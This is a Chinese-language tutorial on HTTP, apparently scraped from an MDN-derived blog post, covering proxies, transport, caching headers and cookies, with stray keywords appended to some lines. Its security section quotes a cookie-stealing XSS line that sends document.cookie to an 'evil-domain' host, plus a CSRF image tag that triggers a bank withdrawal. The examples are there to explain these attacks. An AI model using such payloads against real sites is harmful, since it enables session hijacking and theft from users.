超文本傳輸協議(HTTP) 是用於傳輸如HTML的超媒體文檔的應用層協議php
PS:不會像UDP協議那樣靜默丟失消息的協議。RUDP做爲UDP的可靠的升級版本,是一種合適的替代選擇。數據庫
HTTP是一種可以獲取如 HTML 這樣的網絡資源的 protocol(通信協議)。它是在 Web 上進行數據交換的基礎,是一種 client-server 協議,也就是說,請求一般是由像瀏覽器這樣的接受方發起的。瀏覽器
客戶端和服務端經過交換各自的消息(與數據流正好相反)進行交互。由像瀏覽器這樣的客戶端發出的消息叫作 requests,被服務端響應的消息叫作 responses。緩存
在這個請求與響應之間,還有許許多多的被稱爲proxies的實體,他們的做用與表現各不相同,好比有些是網關,還有些是caches等。 安全
它能夠是共享負載(負載均衡)的一組服務器組成的計算機集羣,也能夠是一種複雜的軟件,經過向其餘計算機(如緩存,數據庫服務器,電子商務服務器 ...)發起請求來獲取部分或所有資源。
Server 不必定是一臺機器,但一個機器上能夠裝載的衆多Servers。在HTTP/1.1 和Host頭部中,它們甚至能夠共享同一個IP地址。服務器
因爲Web棧層次結構的緣由,它們大多都出如今傳輸層、網絡層和物理層上,對於HTTP應用層而言就是透明的,雖然它們可能會對應用層性能有重要影響。還有一部分是表如今應用層上的,被稱爲代理(Proxies)。代理(Proxies)既能夠表現得透明,又能夠不透明(「改變請求」會經過它們)。代理主要有以下幾種做用:cookie
在 HTTP/1.0 中出現的 HTTP headers 讓協議擴展變得很是容易。只要服務端和客戶端就新 headers 達成語義一致,新功能就能夠被輕鬆加入進來。網絡
把Cookies添加到頭部中,建立一個會話讓每次請求都能共享相同的上下文信息,達成相同的狀態。 注意,HTTP本質是無狀態的,使用Cookies能夠建立有狀態的會話。負載均衡
在互聯網中,有兩個最經常使用的傳輸層協議:TCP是可靠的,而UDP不是。所以,HTTP依賴於面向鏈接的TCP進行消息傳遞,但鏈接並非必須的。
HTTP/1.0爲每個請求/響應都打開一個TCP鏈接,致使了2個缺點:打開一個TCP鏈接須要屢次往返消息傳遞,所以速度慢。但當多個消息週期性發送時,這樣就變得更加高效:暖鏈接比冷鏈接更高效。
爲了減輕這些缺陷,HTTP/1.1引入了流水線(被證實難以實現)和持久鏈接的概念:底層的TCP鏈接能夠經過Connection頭部來被部分控制。HTTP/2則發展得更遠,經過在一個鏈接複用消息的方式來讓這個鏈接始終保持爲暖鏈接。
同時,Google就研發了一種以UDP爲基礎,能提供更可靠更高效的傳輸協議QUIC。dom
緩存
可經過HTTP控制緩存。
服務端能告訴代理和客戶端哪些文檔須要被緩存,緩存多久,而客戶端也可以命令中間的緩存代理來忽略存儲的文檔。
開放同源限制
爲了防止網絡窺聽和其它隱私泄漏,瀏覽器強制對Web網站作了分割限制。只有來自於相同來源的網頁纔可以獲取網站的所有信息。這樣的限制有時反而成了負擔,HTTP能夠經過修改頭部來開放這樣的限制,所以Web文檔能夠是由不一樣域下的信息拼接成的
認證
一些頁面可以被保護起來,僅讓特定的用戶進行訪問。基本的認證功能能夠直接經過HTTP提供,使用Authenticate類似的頭部便可,或用HTTP Cookies來設置指定的會話。
代理和隧道
一般狀況下,服務器和/或客戶端是處於內網的,對外網隱藏真實 IP 地址。所以 HTTP 請求就要經過代理越過這個網絡屏障。但並不是全部的代理都是 HTTP 代理。例如,SOCKS協議的代理就運做在更底層,一些像 FTP 這樣的協議也可以被它們處理。
會話
使用HTTP Cookies容許你用一個服務端的狀態發起請求,這就建立了會話。
有兩種HTTP報文的類型,請求與響應,每種都有其特定的格式。
緩解服務器端壓力,提高性能(獲取資源的耗時更短了)。
對於網站來講,緩存是達到高性能的重要組成部分。緩存須要合理配置,由於並非全部資源都是永久不變的:重要的是對一個資源的緩存應截止到其下一次發生改變(即不能緩存過時的資源)。
緩存的種類有不少,其大體可歸爲兩類:私有與共享緩存。共享緩存存儲的響應可以被多個用戶使用。私有緩存只能用於單獨用戶。![]()
常見的 HTTP 緩存只能存儲 GET 響應,對於其餘類型的響應則無能爲力。緩存的關鍵主要包括request method和目標URI(通常只有GET請求才會被緩存)。 廣泛的緩存案例:
Cache-control 頭
禁止進行緩存
Cache-Control: no-store
強制確認緩存
Cache-Control: no-cache
私有緩存和公共緩存
Cache-Control: private
Cache-Control: public
緩存過時機制
Cache-Control: max-age=31536000
緩存驗證確認
Cache-Control: must-revalidate
Pragma 頭 一般定義Pragma以向後兼容基於HTTP/1.0的客戶端。
ps: 因爲緩存只有有限的空間用於存儲資源副本,因此緩存會按期地將一些副本刪除,這個過程叫作緩存驅逐
下面是上述緩存處理過程的一個圖示:
緩存失效時間計算公式以下:
expirationTime = responseTime + freshnessLifetime - currentAge
Cookie主要用於如下三個方面:
因爲服務器指定Cookie後,瀏覽器的每次請求都會攜帶Cookie數據,會帶來額外的性能開銷(尤爲是在移動環境下)。新的瀏覽器API已經容許開發者直接將數據存儲到本地,如使用 Web storage API (本地存儲和會話存儲)或 IndexedDB 。
會話劫持和XSS
經常使用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。
(new Image()).src = "www.evil-domain.com/steal-cooki…" + document.cookie;
HttpOnly類型的Cookie因爲阻止了JavaScript對其的訪問性而能在必定程度上緩解此類攻擊。
跨站請求僞造(CSRF)
如: 在不安全聊天室或論壇上的一張圖片,它其實是一個給你銀行服務器發送提現的請求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
當你打開含有了這張圖片的HTML頁面時,若是你以前已經登陸了你的銀行賬號而且Cookie仍然有效(尚未其它驗證步驟),你銀行裏的錢極可能會被自動轉走。
有一些方法能夠阻止此類事件的發生:
追蹤和隱私
第三方Cookie
若是Cookie的域和頁面的域不一樣,則稱之爲第三方Cookie(third-party cookie).大多數瀏覽器默認都容許第三方Cookie,可是能夠經過附加組件來阻止第三方Cookie
禁止追蹤Do-Not-Track
雖然並無法律或者技術手段強制要求使用DNT,可是經過DNT能夠告訴Web程序不要對用戶行爲進行追蹤或者跨站追蹤
歐盟Cookie指令
該歐盟指令的大意:在徵得用戶的贊成以前,網站不容許經過計算機、手機或其餘設備存儲、檢索任何信息。
殭屍Cookie和刪不掉的Cookie
這類Cookie較難以刪除,甚至刪除以後會自動重建。它們通常是使用Web storage API、Flash本地共享對象或者其餘技術手段來達到的。